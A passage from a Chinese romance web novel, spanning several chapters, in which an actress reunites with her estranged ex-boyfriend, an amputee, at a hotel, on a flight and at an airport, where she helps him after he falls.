天气不好,路程又长,孟秦书想到白天那起惨烈的连环车祸,地上车辆零件碎片散落一地,还有一滩滩暗红色的血迹。
心陡然紧张,孟秦书倏地转身,快步走向床头柜,她要给霍清辞电话,如果靳子煜没走,让他务必留下靳子煜。
手机刚拿到手里,孟秦书突然听见“滴里”一声,声源来自房门,只有房门刷卡开启才会有这种声音
孟秦书以为自己幻听,继续拇指滑动手机,
可——
“咔哒”房门开启。
这次孟秦书万分确定是自己房间这扇门,她脑门一凉,后背脊椎骨发硬。
怎么回事,难道是酒店给客人重复开房了?
地上铺的是素色地毯,沉闷的脚步声踏进来,可突然脚步声止,房间里灯亮着,灯卡槽里也有卡,大抵这人也发现走错了房间。
想到这里不再害怕,孟秦书长舒一口气,抬步往外走,想看看这人是男是女,顺便告知她走错房间了。
然而。
当孟秦书从隔断房间和玄关的这堵墙迈出,看到这人第一眼时猛然怔住,不止是她,那人也一样,她手心里的手机滑落,他手里的房卡一样掉到地毯上。
靳子煜。
他怎么……会来这里。
不同于刚才的害怕,此时此刻她有心惊,有慌乱,还有一丝丝……心痛,孟秦书手指抠掌心,气管口像是被堵了一团棉花,呼吸不畅,缺氧让她大脑出现眩晕症状。
两人相距大概有个四五米,那扇门半掩着,屋外时不时有人走过,靳子煜看她的眼神只有在她出现那一下子有吃惊,过后是一如楼下时的淡漠。
又是淡漠。
本该是她惯用的表情,多年后靳子煜照搬不误地还给她,两次见面都是如此,心里像下了一场雪,凉透了,原来这种‘淡漠’这么伤人。
两次她都没压住因心里酸涩闷痛、涌上的泪意,只不过初次见面那次她全程墨镜,靳子煜不会发现。
而这次她暴露的一览无余,靳子煜一定觉得她可笑极了,分不清戏里戏外在他面前演起深情。
靳子煜手杖换到左手,极慢地下蹲,伸手捡起地上的门卡,再借手杖之力极慢站起来。
下蹲动作对靳子煜来说有些困难,右腿僵硬的如同许久没添加机油的机器。
拿到卡靳子煜侧转身是要退出去,低垂眉眼,无言无语,手抬起一把握住了门把手,一步一步往外退。
好啊,把她当空气。
孟秦书用力咬着下嘴唇内侧,想用这种方式分散攀缘至她心脏,仿佛小刀割肉的痛楚,可是没有一点用处。
靳子煜我不就甩了你吗!
我就十恶不赦了吗?
凭什么这么对我!!
就在门即将关上前一秒,孟秦书突然就失控了,“靳子煜!”她像个泼妇一样冲那扇门后面的靳子煜扯嗓子吼“把我的手机还给我!”
门还剩一道缝,停在那里。
7. 恨意
门从外往里推,直至靳子煜整个人再度出现孟秦书的视野里。
四目相对。
空气仿佛瞬间凝固,陷入怪异的安静。
和上次在车里不同,和刚才在楼下也不同,靳子煜深邃清冷的双眸因她这一声跟控诉似的吼叫,终于出现了犹如石块掉进水中荡起的波纹。
人一旦情绪激动到峰值,浑身的肌肉会颤抖,这是生理性的她控制不住,双腿麻到几乎站立不住,孟秦书背靠墙滑下来蹲在地上,双手抱住膝盖,额头抵在手臂上想缓一缓。
通道上有三个女人专门停下来看他们,直勾勾地眼神自这个握手杖的男人身侧过去,落在里面那个蹲在地上,蓬头垢面看似被欺负的女人身上,
三人视线移到男人身上,男人似乎腿脚不好,也不知是怎么欺负的这个女人,俩人什么关系,是情侣、还是情//人。
虽说男人只是侧面,但他五官分明的外形好看的过分,而且他气质儒雅温文,怎么看都不像是后者。
为避免被更多怀揣好奇、八卦之心的人围观,靳子煜走进房间,反手关上门,听见关门声,孟秦书朝他抬了抬头,然后继续埋下头抱膝盖不动。
靳子煜喉头一滚,磁性的音带涩,“你怎么了?”
没有回应。
靳子煜一步步靠近孟秦书,手杖敲击在地毯上,一下又一下动静轻微,反而是他接近的脚步声砰砰砰和她的心跳产生共振,孟秦书在靳子煜即将到自己面前时,骤然抬头由下而上盯住他。
从孟秦书这个角度能看到靳子煜硬朗中透着温和的面部轮廓,还有眼睫之下那双墨沉沉的眸子,但那里闪动着细碎的白色光点。
她想,一定是房内大灯投下来的光。
靳子煜是标准的剑星眉目,偏偏脸型弧度圆润柔和,中和掉了几分硬气,给人一种刚中带柔的清雅书卷气息。
靳子煜猝然止步,垂下眼眸迎上她泛着潮红的眼圈,心尖一凛,却也只是不动声色地挪开视线。
孟秦书突然为自己的行为感到可笑,她对着靳子煜歇斯底里一通发疯,把靳子煜逼得不得不进房间,她到底在做什么,靳子煜有家庭,有妻女,她到底想做什么。
手机不见这事,是孟秦书回到海城,在去机场的路上发现的,她赶回四百公里外的T市,赶到‘韩叔叔石锅盖饭’这家店。
运气好的是,店员还有五分钟就打烊了,她请求他们帮忙调取监控,在确认这只包只经了靳子煜的手,知道在他那里她心里略松,不是丢了就好,至少能拿回来。
为这事她错过了飞机,拍摄组不得不停工,一大帮人坐等她一人。
罢了。
“靳子煜手机还我,你走吧。”
孟秦书嗓音凉凉,这才是她,不是那个失控的、毫无形象的连她自己都不认识的人。
闻言,靳子煜身子微乎其微地晃了一下,瞳眸里碎光冰消气化,眼眸变得更沉了,但他尽量心平气和地说:“手机我今天没带过来,你着急要的话留我一个快递地址,我给你寄过来。”
孟秦书按双膝站起来,可由于她蹲久了,站的又过快,眼前一黑,导致身体一个后倾,撞到后面那堵墙上,她闭上眼试图缓解不适感。
伸出的手没抓到孟秦书的手臂,靳子煜暗自收回,蜷成松松的拳头放到身侧。
自十天前他接到霍清辞电话,他被迫成了局中人,在宴会厅门口的见面,一杯酒让他无法开车回去,拿着房卡打开的却是孟秦书的房门。
只是霍清辞自作主张吗?还是孟秦书也有参与。
这对兄妹到底是什么意思。
被戏耍的怒在盘点一系列事件后终究压制不住,靳子煜冷硬带着怒意地质问,“孟秦书你在跟我演戏吗!”
靳子煜上前一步,一把握住她的右臂,孟秦书豁然睁目,直视靳子煜喉结位置,隔着衣料都能感受到靳子煜掌心的温度,还有他对她咬牙切齿的恨。
以前靳子煜不是叫她学妹、就是小书,他从来没有连名带姓叫过她。
视线缓缓上移,直到能看到靳子煜的眼睛孟秦书才停下,近在咫尺的距离,他眼里的怒火喷到她脸上,耳根温度升高,一路烧到脸颊,可那颗心脏却像是被拿出来扔进了零下十度的冰湖里,冻得四肢麻木僵硬。
这种感觉让她想起年初,她跳下室外泳池潜入池底寻找手机,跳入水的时候,是冷到口齿打架,但几分钟后各种感觉也就麻木了。
指甲掐进手掌心,真正直
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面靳子煜对自己的恨和厌恶,孟秦书受不住了,试图拔出被他钳制的那只手,但没拔出来,反而被他握的更紧,“靳子煜你想做什么?”
她从来都是色厉内茬的人,靳子煜比任何人都清楚。
靳子煜右手紧紧攥住手杖杖头,手背上青筋凸跳,“该我问你们,你和霍清辞想做什么?”
“我不知道。”孟秦书转开脸,她不知道霍清辞为了让他们见面,做了这么多事。
但霍清辞是为她好,不能把责任推在他身上,孟秦书重新转回来,再次对上靳子煜黑漆漆的眼眸,稳着声道:“靳子煜,霍清辞没有坏心。”
霍清辞没有坏心……那她呢,她存的什么心?还是说又想和当年一样,无趣了来撩他,厌烦了再一脚把他踢掉。
召之即来挥之即去。
孟秦书鼻腔吸入淡淡的酒味是从他唇齿间飘出来的,他喝酒了,喝醉了?
“靳子煜放手,有什么话好好说,”孟秦书不想和一个喝醉的人掰扯道理,尽量保持语调平和,“这间房我可以让你,你累了的话早点休息。”
孟秦书软声软调的话语唤醒靳子煜的理智,呼吸一沉,靳子煜放下手,转过去一半身子,松开紧握成拳头的手。
冗长的沉默后,靳子煜低声说:“你留个快递可收到的地址,我把手机寄给你。”
房间里哪来的纸笔,孟秦书凝注靳子煜的侧半边身体,而后淡淡问,“你手机号多少?”
连霍清辞都知道他没有改手机号,孟秦书却连他的手机号都忘了,那她又要讨回那只存着他们照片的手机做什么。
嘴里溢出苦涩,是红酒迟来的回味。
“1304……”靳子煜报了手机号。
孟秦书惊呆,他这个手机号还在用,可有一年她不小心拨过去,为什么会是无法接通。
靳子煜抬步往外走,快到门口时,“靳子煜。”孟秦书追上他,只能看到他板直的背,“你喝酒了,不能开车。”
“孟秦书不要说这种话!”
靳子煜一把握住门把手,狠狠攥住,指腹压出白印。
那是比隆冬刮的北风还要冷上几分的话语,她在说什么,为什么总要说些莫名其妙会激怒他的话。
8. 散心
三天后,孟秦书收到了靳子煜寄给她的手机。
她给靳子煜发信息留的是公司保安室地址,电话留的是小杨的,小杨拿来时,她正在化妆间里化妆。
为这事孟秦书给霍清辞打去国际长途,给他说明情况后希望他以后不要在帮她做这种事。
霍清辞先无语而后笑,大抵是觉得自己忙活一通,做了个百人的局,结果两人非但没进展还成了仇家,他说以后不会管他们的事了。
说是这么说,挂掉电话,过了几分钟,霍清辞给她微信发了信息,他把靳子煜在海城大学留校教书这事告诉了她。
但既然拿到了手机,孟秦书决定不会再去打扰靳子煜,她能放下他七年,就能放下往后无数个七年。
后一个月,虽没戏拍,但孟秦书行程排的满满的,一周在京市拍某高奢品牌的广告,半个月轮转各个城市,为某化妆品站台,最后十天她去了棉川大草原拍旅游宣传片,顺便在当地散心。
十一月底的棉川下了今年的第一场雪,孟秦书走出帐篷,浩渺无际的大草原,绵延起伏的群山,入眼皆是皑皑白雪。
到了中午冰雪渐融,孟秦书开着租来的吉普车带着小杨去马场租马,车轮碾过雪地,留下两道车辙,自始发地连亘高低错落的几个山坡,一直到马场才终止。
跳下车,小杨跟在孟秦书后面进马场,老板得知孟秦书会骑马后给她选了一匹棕红色的马匹。
小杨只在旅游景点骑过马,且都是由工作人员牵领的,不过在这里也有这项服务。
天气虽冷,为了不累赘,孟秦书不像小杨穿了长款超肥厚的羽绒服,她穿的是一件修身驼色羽绒服,下身是一条黑色牛仔裤,为自己身体负责,她在牛仔裤里加了一条新买的加厚棉裤。
但在小杨看来,即使穿上棉裤,孟秦书那条腿仍是纤细又笔直。不然怎么说明星和普通人有壁垒,尤其是孟秦书这种身材脸蛋都顶级的大美人。
到了户外,孟秦书踩马镫利落上马,马鞭一敲马屁股,她没顾刚被工作人员扶上马的小杨,独自骑马潇洒离去。
山风猎猎,加上马匹的速度,长发犹如河岸边被风吹得胡乱飞舞的柳枝,“垛垛垛”马蹄声震天动地。
孟秦书早在十岁那年就会骑马,那时经常跟着霍清辞这帮名流顶端的富家子弟玩,野外骑射、实弹射击、各种球类运动,不说精通,也是信手拈来。
这些技能让孟秦书在娱乐圈里大放异彩,只论骑射纵观整个圈子,无论男女明星,孟秦书一定是千里挑一的存在。
孟秦书有古典舞底子又擅长骑射,前几年出演最多的是武侠片,在这个仙侠剧最容易出圈的年代,她演了四五部这类型的剧,只不过这些剧都不是芳姐给她找来,而是她自己挑选出的。
曾还翻拍了最经典的《射雕英雄传》,此剧一经上映,孟秦书迎来铺天盖地嘲讽,说她不适合黄蓉,美则美但没灵魂,哪有半点黄蓉的机灵、活泼可爱,整天一副苦大仇深的样。
这部剧让孟秦书曾经的影后头衔和演技引发热议和质疑,关于她演技烂的博文,两年来时不时登顶热搜前三。
黑红也是红,孟秦书无所谓,但芳姐不能看她这么堕落下去,所以在凌导向她投来橄榄枝时,芳姐说什么也要让她去见这位导演。
当今娱乐圈无人不知的,只要能入这位导演的眼,进组拍摄,不论主角配角基本是都能集体上桌。
孟秦书作为女主角拿奖更是十拿九稳的事,芳姐就指望她通过这部电影挽回在观众眼里的口碑。
孟秦书骑到一座小山坡上叫停马匹,破开云层的阳光洒在她身上,为她周身镀上一层淡黄色的金边。
“子煜为什么你这么喜欢看《射雕英雄传》,每部翻拍剧你都追一遍,故事又没新意,吸引你的点是什么?”
“喜欢哪有这么多为什么,可能喜欢里面角色魅力,可能是深厚的文化底蕴,也可能单纯只是无聊随便看看,你不喜欢看的话,我换频道。”
靳子煜拿起床头柜上的遥控板,被孟秦书夺去握在手里,“别换,我还想看看华筝来找郭靖后会发生什么。”
靳子煜一脸宠溺的凝注她,她脸红往床另边挪挪,而他像突发兽性的大老虎,掀起被子朝她扑过来。
被窝里漆黑一片,靳子煜没压她而是双臂撑起上半身,他温热的鼻息扑面而来,哑哑地告诉她,“小书,故事的结局是郭靖和黄蓉幸福的生活在一起。”
他们也会的。
孟秦书抬起身侧的手是想环他的腰,却一不留神碰到了他的右腿残肢,他身体打了个抖,连带残肢也跟着抖了下。
手掌轻轻敷在靳子煜的截肢面上,那里有一条缝合的有凸感的疤,疤痕周围是松软不那么平滑的大腿肉,她见过很多次,这次是她触摸到的实感。
可靳子煜直接翻个身躺回去,他的腿脱离她的手,他头枕着枕头,侧过脸不好意思地对她说,“小书对不起,吓到你了。”
她怔住不动的样子,让靳子煜误以为她被他吓到了。
“子煜。”她轻唤他一声,这次换她扑在他身上,她的下巴抵在他的肩窝上,“我在想那时候你一定很疼。”
靳子煜骨节分明的手再度揽住她的窄柔的背,下巴缓缓下移,垂眸看她的发顶,嗯了一声,“小时候我经常拿一把塑料剑学武侠剧里的大侠一样,跳上跳下,幻想自己是大侠,那时候我还告诉我外婆,我要去少林寺当武僧,结果被我外婆追着打。”
他的下巴在她发顶摩挲,“十四岁断腿那年,只觉得疼,伤口疼、幻肢痛、那时对未来想的没那么深远,唯一难过的大概是再也当不了大侠了。”
孟秦书支起脑袋,用指尖封住他的唇,不想再听他说了,心很疼。
一点凉意在后脖上化开,孟秦书一瑟缩,垂眼看自己拉着缰绳已被冻得通红的手。
天地间又开始下雪,雪花纷纷扬扬的飞舞,偶有风来,雪花在空中打着旋儿飘下,出太阳下雪不多见。
自从遇见靳子煜,想他的次数越来越多,说好要放下他的。
“得得得”的马蹄声由远及近,孟秦书循声扭头,看到骑马过来的是她初入行时带他的经纪人,人称平哥的吕平池。
吕平池离开华星后进了冬灿影视,现在炙手可热的小鲜肉林逸正是他亲手带的。
吕平池入行早,今年也不过三十五,他长得其实挺好看,三庭五眼都很标志,嘴唇自带口红色,他给人第一眼的感觉是邪气。
他酷爱穿颜色鲜艳的衣服,正如他现在
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身上这件短款亮橘色羽绒服,骚包、洋气。但他发起脾气来尤其吓人,手底下没人不怕他的。
“寒寒,好久不见。”吕平池一上来就拖着个长长的尾音和她打招呼。
对孟秦书来讲,吕平池等同于她半个老师,所以对待老师她是尊重的,“平哥在这里都能遇到你,好巧。”
“远远的我看到一个大美女在骑马,姿态优美,英姿飒爽,不用想了一定是我们寒寒大美女,我追来一探究竟,果真是你。”
雪逐渐转大,大到雪花落在头上、肩上来不及融化,大到两人眼前只有连续落下的雪,已看不清楚对面人的样子。
好在不跑起来没有风。
两人骑着马同步慢悠悠地往回走,吕平池偏头问她,“华星举办的慈善晚宴设在明晚七点,你什么时候回去?”
孟秦书紧了紧缰绳,“明天上午八点的飞机,不过需要去H市转机。”
吕平池不看路只看她,兴奋道:“欸,我也是八点,我们同一架飞机,寒寒你和我的缘分真是不浅。”
*
他们于中午十点换到另一架飞机上,孟秦书没想到会在这架飞机上遇到靳子煜。
商务舱没几张座椅,一排只有两张沙发座椅,孟秦书和小杨一块坐,她后面是靳子煜,小杨后面是平哥。
起飞一个小时后,孟秦书提出和小杨换座位,她先端起餐桌上空姐送来的车厘子,再转动座椅,转动到可以看到平哥的正脸。
“寒寒,怎么了?”吕平池以为她有话对他说。
孟秦书洁白净透的指尖捏住一颗车厘子,送到吕平池嘴唇边,“平哥,车厘子很新鲜,你吃吃看。”
吕平池目光微诧,如果是其他女星,他会认为她们是跟他讨要机会,在无事献殷勤,但南寒不可能。
再说了,哪有献殷情语气这么冷淡的,知道是请他吃车厘子不知道是给他投毒。
嗯,应该只是话中之意,吕平池张嘴咬住车厘子。
“里面有核,别噎住,你吐我手上吧。”
孟秦书张开掌心,吕平池觉得这有点离谱了,他一口吞下核,偶尔吃个一颗核又没什么大事。
“寒寒,我不小心咽下去了。”
里面沙发上的靳子煜合上小桌板上的杂志,往后靠,双手交叠放在腹部,闭目养神。
孟秦书纳入眼中,既然靳子煜能娶妻生子,那她有男朋友再正常不过了。
不能落他太后,不然好像自己没人要一样。
“你这样容易刮伤食道,吃东西不能这么狼吞虎咽。”孟秦书又拿了一颗送到吕平池嘴边,“再吃一颗。”
张口吃进去,吕平池连肉带核吞。
孟秦书接二连三给吕平池投喂了五次,吕平池吞下第五颗后,双手一按沙发扶手挺起身,然后他轻按下孟秦书的手背,清清嗓子有话说,“寒寒,味道不错,但车厘子不能吃多。”
吕平池眼带抗拒,孟秦书收回去,把这颗车厘子放入自己嘴中,学他一样嚼两下,吞下去。
核在喉咙里硌了下,才落入腹中,很不舒服。
孟秦书调节按钮,默默转回去坐好,思索一下,她拿起手机给吕平池发了两条信息,一条是为自己的行为道歉,另一条是……
9. 好坏不分
飞机于中午十二点十分到海城国际机场。
做戏做全套,孟秦书挽着吕平池的手臂跟随人群往舱门口走。
虽说她已经有意把脚步放得很慢,但她都快到舱门口了,侧眸偷瞄一眼那张座椅,发现靳子煜才起身。
以前靳子煜说戴假肢对他来说没有架拐方便,现在看来确实如此,照他以前的速度,这时候应该已经下飞机了。
孟秦书初次认识靳子煜时,他架一只腋拐,一到夏季总爱穿一身运动短装,他毫不在意自己身体的残缺,那时的他能跑能跳还能打篮球。
她每次路过操场都能看到他和几个朋友在篮球场打篮球,他打篮球时那种一切尽在掌握的淡定,赢球后嘴角上扬露出整齐洁白的牙齿,正是他的自信和阳光,让人自然忽视掉他残疾的身躯而欣赏他的人格魅力。
只是,时过境迁,物是人非。
但也并非全是坏,人总归会成长,每个年龄阶段有每个年龄阶段的闪光点。
廊桥直通出口长廊,吕平池被孟秦书的速度带的几乎要停下来,孟秦书一步三回头不知道在找什么。
飞机上南寒给他发了条信息,说是有个前男友在飞机上,请他配合下扮演她的男朋友。
商务舱里加他们一共八个人,生出好奇心的他借去洗手间的那段路,把舱里的另外五个人都看了一遍。
另五人中三个男人,两个女人,首先排除年纪看着四五十的秃头男士,还有两个男人,一个坐孟秦书前面那张沙发的模样周正,衣冠楚楚的精英男士,另个一个是坐他旁边正在闭目养神的男人。
该说不说他旁边这位男士那张脸是生的真的绝,他自认为自己这张脸即使放在一排叫的出名字的鲜肉中也不逊色,可比起这位男士还是差远了,要不是他腿脚不方便,他都想签了他。
综合考量下来,他怀疑南寒说得前男友是她前面那位。
“寒寒,怎么了?”
孟秦书第三次回头,总觉得有种说不出的奇怪,靳子煜哪怕走得在慢,倒也不至于走了半天都没下廊桥。
未知会一言半句,孟秦书刹停脚下,吕平池多跨出半步,被迫停住。
孟秦书扭头看那里。
靳子煜出现在廊桥和长廊相邻的拐角,他肩上背了一只黑色电脑包,双肩包配他身上这藏蓝色休闲西装,平添了几分少年气,冲淡了以往在她面前那股冷感。
怕被靳子煜发现她在等他,在他眼眸划过来前,孟秦书迅速回正脖子,抬步拽着吕平池往前走。
孟秦书走得太快了,以至于耳边没有了关于靳子煜的一切。
不对,他们又不是相距十万八千里,怎么会一点动静都没有。
孟秦书再次驻足,可就在她回转身的同时听到“扑通”和“当”的前后两种声音。
吕平池被孟秦书带着转过来,看到十米开外摔倒的男人他惊了一下,余光带到孟秦书的脸,她唇微颤,长长的睫羽恍若持续不断振翅的蜻蜓翅膀。
吕平池还在犹豫要不要上去帮忙时,孟秦书已放开他的手臂,直冲向那人。
那两个声音,前者是靳子煜摔在地上,后者是他手里的手杖在他倒地后撞击到地面。
瞬间像被一把剑直刺心脏,剧烈的痛自心口发出,俯仰之间已到达孟秦书四肢百骸。
靳子煜左手撑地面已坐起来,他左腿曲着,右腿笔直朝向她来得方向。
将将近靳子煜身,孟秦书双膝砸地跪在他右手旁,“子……靳子煜,怎么了?”
靳子煜没回答她,他取下身上的背包,想必是减轻负重。
孟秦书立即去看他的右腿,藏蓝色竖条长裤自膝盖以下是往下陷的,布料陷出高低不平的外观。
靳子煜坐下去后把裤腿往上带了一小段,能看到类似机器人骨骼的脚踝。
长廊上跟他们一班机的旅客散去后,目前只有他们三人,还没反应过来的吕平池愣愣看着孟秦书和那个坐在地上略显得有些狼狈的男人。
靳子煜眉头夹紧,但仍然第一时间去看孟秦书的男朋友,她那位男朋友果不然其然满脸错愕。
他不能让孟秦书男朋友误会他们。
“你不要管我。”
靳子煜身体往左侧转,双手手掌撑地,左腿曲起慢慢往上挺,让身体支起来,呈跪姿,然后他再竖起手杖,借手臂的力量抬起整具身体,可右腿弯曲触地那一下,接受腔软胶一挤压残肢,仿佛在一百度的开水里面滚了一下,他痛得长长“嘶”了声又跌坐回去。
孟秦书双手握住他的右胳膊,确定是他的腿又痛了,靳子煜手肘往反方向推,是想从孟秦书手里拔出来自己的手,只是没成功。
当着自己男朋友的面做这种事合适吗,靳子煜声音重了几分,“孟秦书,你别管我。”
靳子煜的话音刚落,孟秦书“噌”地起身,拔腿就往出站口方向跑。
当孟秦书像阵风似的从吕平池身前刮过去后,把吕平池弄得一脸茫茫然。
还以为这两人有什么关系,这是怎么了,可即使是个陌生人也不该就这么撇下不管呀。
吕平池跑上去,没有贸贸然去帮忙而是问询,“需要帮忙吗朋友?”
靳子煜看到孟秦书的背影拐进出站厅就消失不见了,眼神黯淡下去,嘴角无意识地抿出苦涩的弧,他的视线回落到自己这只假肢上。
又把她吓跑了。
吕平池以为他没听见,又小声问了一遍,“朋友需要帮忙吗?”
靳子煜深深叹口气,知道靠自己起不来,这时候只能求助别无他法,“麻烦了。”
即使求助对象是孟秦书的男朋友。
他想,孟秦书应该不会告诉他,自己是她前男友,不然她得多丢面子。
吕平池不知道该从哪里下手,直到听那男人低低道,“麻烦搀我的右手,我需要借点力。”
在吕平池的帮助下,靳子煜站了起来,吕平池看到他握着手杖,五根手指用力到连指关节都在发白,似用了全力在稳这具身体,额头上更是布满了一颗颗汗珠,脸上也是汗湿痕迹,连脸色都苍白到近乎透明,即使如此男人仍掀开眼皮看着他,诚恳地对他说了声,“谢谢。”
吕平池捡起地上的双肩包,拎在手里,“朋友你的包。”
男人伸出左手,攥住包的两根肩带,又道了声谢,他把包拿回去,就这么吊在左腿一侧。
“能走吗?”
吕平池想如果需要他可以搀他出机场。
假肢是脑电信号来控制的,是通过读取大脑发出的EEG,他只要脑中发出这个指令就可以行走。
假肢没有问题而是他的残肢皮肤磨破皮引起了炎症,靳子煜摇晃了晃,握紧手杖,微敛目,“我可以慢慢走,谢谢。”
吕平池听出男人话外之意,是让他先走的意思,一个男人的自尊,他懂。
“好,慢点。”
吕平池走了,去找孟秦书。
不发病还好,靳子煜还能伪装成一个只是腿不好的残疾人而不是肢体残缺的残疾人,一旦发病,靳子煜心里挫败感、无力感像洪水一样侵袭过来。
他的残肢很敏感,穿戴假肢这五年,外观上确实像个正常人了,可总因磨破皮而引发炎症,炎症出现次数比他前十多年合计发生的次数都多,一旦发作,他会痛的坐立难安,严重还会引起发烧。
这两天他在H大进行教学观摩及讨论教学设计,两天来很少坐,一天走下来到晚上腿胀痛感明显,但他想维持住在别人眼中的完整的外形,第二天仍没有卸掉假肢,才会导致出现这种结果。
很多年前他从不在意自己的在外在形象,是从什么时候开始的,好像是从他戴上假肢后,体会到了完整的身体,就再也不愿意在外人面前拿下来。
靳子煜常常想象,有朝一日他和孟秦书在街道拐角、商场、咖啡厅……偶遇时,当他衣冠得体的出现在她面前时,她会不会眼前一亮。
现在他有两份还算体面的工作,开了一家规模
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不大不小的公司,个人年收入五六千万,见面时,会不会让她生出一丝丝后悔。
可他差点忘了,让孟秦书为之逃开的是他的身体,是他一旦跌倒难以自己爬起来的丑态以及无法堪见的未来。
靳子煜继续往前走,每一步都像踩在刀尖上,廊桥上涌下来旅客,三五成群,靳子煜没再走,他怕再摔倒再出丑。
很多人觉得他很奇怪,从他身边经过的,即使是走过去了也要回头看他一眼。
人群逐渐散去,靳子煜瞳孔却在这时候骤然收缩,他看见了逃开的孟秦书又回来了,她还推着一架轮椅,正冲开人群逆流而上。
已经十一月底,只有十多度的天,她和他一样满头是汗,孟秦书把轮椅停在他背后,双手扶着轮椅把手,“靳子煜,快坐下来。”
见他不动,孟秦书踩下轮椅刹车,走到靳子煜右手边,自然而然地搀住他的小臂,想到他不领自己的好意,孟秦书气闷道,“靳子煜你厌烦我,但没必要这时候和我赌气,我知道你现在腿很疼,快坐下来。”
靳子煜嘴唇蠕动几次,想说的话说不出口,这次他没在抗拒,更何况,抗拒对现在的他而言是自讨苦吃。
他先把手杖收成短短一截,放进电脑包的侧面口袋,由孟秦书搀着他坐进轮椅中,再把电脑包放在腹部,双手抱住机械小腿把它搬到脚踏板上。
然而,电脑包底部还是压到了残肢,痛得他拧紧眉,怕被孟秦书看出来,他咬牙根忍着。
“靳子煜送你去医院还是回家?”
孟秦书不动声色地拿走了靳子煜怀里的电脑包,回到轮椅后,她把包挂肘弯,双手握住轮椅把手。
等待工作人员提取轮椅这段时间,孟秦书给小杨打了电话,让她和工作人员以及司机一块回不用等她。
而她要先送靳子煜回去。
“我车在地下停车场。”靳子煜双手握住轮胎,看窗外正在降落的飞机。
他的动作是不需要她帮忙推。
孟秦书听了觉得天方夜谭,“你这还要开车?”
她见过他腿部发炎时候痛得碰都不能碰。
“孟秦书,你男朋友去找你了,”靳子煜指尖抠住轮胎,“你不用管我。”
孟秦书对他这句话置之不理,而是大声说:“你不能开车!”
他语气很平,“我是右腿断了,我的车可以左脚控制油门刹车”
她又忘了吗?
孟秦书语塞,她原计划是叫一辆专车,陪他一块坐,安全送他到家门口。
也确实,现在去打车对靳子煜来说未必有自己开车方便,孟秦书不在反对而是说,“我推你去停车场。”
靳子煜没放手反而握得更紧,连脖子都绷的紧紧的,“孟秦书,你要让你的那些粉丝看到你推着一个陌生的残疾的男人吗?”
孟秦书自然地说道,“我在做好人好事,为什么怕他们看到?”
“你受惯了镜头,受惯了万人瞩目,可我不想我这副样子出现在电视上,任人指摘。”
他知道外面可能还会有娱记。
孟秦书松开手指,她欠考虑了,她绕到靳子煜面前,在他面前蹲下,然而这一对视,孟秦书方才发现他的眼睛红的似要滴出血,眼里还一片反光的水泽。
靳子煜慌忙避开眼,别过头看别处,可已经被孟秦书全看到了。
孟秦书不知道她离开这段时间,靳子煜怎么站起来的。
刚才她确实是带气跑开的,就是觉得现在的靳子煜好坏不分、不可理喻,虽说是去给他借轮椅,可她确实把他丢在了这里。
哪怕是个陌生人,上前来帮忙,结果不留一言走开,对陷入困境中的人来说也是一种伤害。
他心里一定难受极了。
孟秦书心里因懊悔而酸楚缠绕,她声音软下来,“不会,有专门的通道到地下停车场,不会让人拍到你。”
须臾片刻之间。
攥住两只轮胎的十根手指一点点放松。
10. 罪魁祸首
挪上车后靳子煜在车里调整身体状态,刚上车,搬腿那一下还是不可避免地让自己又经历了一遍油煎火燎的痛楚。
因为孟秦书在身边他硬生生牙关紧咬挺过去,脸上又跟下了一场暴雨似,背上一样是汗湿了一次又一次,得亏现在是冬天有外套,不然一定会被孟秦书发现。
被孟秦书发现?
靳子煜为自己这个想法感到可笑。
被她发现又怎样,怕她会心疼自己,还是怕丢人。
然而,今天他的尊严已经碎成一地了,哪还有尊严。
他这样的人注定体面不了。
靳子煜手握住车把手关车门前,从前挡风玻璃看到推轮椅去放在指定点的孟秦书正朝他小跑过来,靳子煜刚才已经和孟秦书道了谢,她过来是想做什么?
恍然间,靳子煜看到了当年。
他每次开车去T大接孟秦书,她都是像这样跑向自己,长发如丝于风中翩跹,只不过那时她脸上会有浅浅的笑容。
靳子煜黑亮的眸锁着孟秦书,视线一路跟到主驾驶车门外,不等他张口,孟秦书抿下唇,低低地请求,“我没开车,司机回去了,你能带我一段路吗?”
话都说到这份上,他能拒绝吗?只为她今天的“好人好事”,他都拒绝不了。
“上来吧。”
靳子煜把副驾驶座椅上的电脑包,拿起来扔到后座。
车驶出机场上了机场高架,第一站目的地是孟秦书住的私人住宅小区。
今天有雾霾,天地间灰蒙蒙的,路上汽车的车灯都亮着,拔地而起的高层建筑,没有了平日的光鲜,孟秦书似乎看到了粉尘漂浮物,她百无聊赖地想,如果这时候在外面一定需要戴口罩吧。
孟秦书转头回来,眼神不经意地一掠过靳子煜的脸,他额头上还沁着汗,痛成这样,他可真能忍。
中控上有一盒餐巾纸,孟秦书指尖微动,想抽两张给他擦汗,但她马上在心里摇头否决这个想法,人家有妻子,超出道德层面的关心就过头了。
孟秦书看他侧脸,手机反扣在腿上双手捏住机身边缘,大大方方地问他,“靳子煜,你和你太太……怎么认识的?”
城市高架桥车速虽不及高速,但也需打起十二分精神关注前方路况。
靳子煜目不转睛盯前方,没多思考,回答她,“我没太太。”
手机险些从孟秦书手里脱手,再观靳子煜倒是一本正经脸,不像是说假话。
孟秦书把上次在他车上两人的对话回想了一遍。
靳子煜确实没说他有妻子,但是他有女儿,而且他自己承认的。
难道……是意外?
孟秦书只演过一部校园偶像剧,但她看过不少狗血都市偶像剧,真被她在以往看过的剧里找到对得上号的剧情,还不少。
比方说,男人失意去买醉然后和夜店的女人发生关系,也就是俗称的一ye情,该死的是这个他不喜欢的女人只一次就有了他的孩子,女人生下孩子后跟男人要了一大笔钱,拿到钱后的女人潇洒离去,这种剧情一般发生在男二身上。
孟秦书瞧着靳子煜侧脸,黑眼珠里浮现曲折复杂的眼色。
靳子煜明显觉察出孟秦书意味深长的目光在他脸上游荡,他朝她看了眼,她似乎有很多话要对他说,靳子煜继续把着方向盘,不能在出上次高速公路上的事情。
靳子煜淡声问她,“孟秦书你还想知道什么?”
手机在孟秦书手里转了又转,直到听到靳子煜问的问题。
“为什么没结婚?”孟秦书仍在注视他。
前方车辆在降速,靳子煜跟着踩点刹车,他眉头弯弯似乎她这个问题让他觉得可笑,只是照样淡淡地语调,“你说,我这样的人谁会看得上我。”
孟秦书被靳子煜自我否定的这句话弄得心像被突然之间攥了一把,很痛,大拇指不自主地掐在食指上掐出印记,这点痛和心痛不能比。
孟秦书吁出一口气后道:“靳子煜,你很优秀不要这么说自己。”
靳子煜目不斜视,情绪很稳定地道,“孟秦书不要再对我说这种话。”
上次在酒店他也说过一样的话。
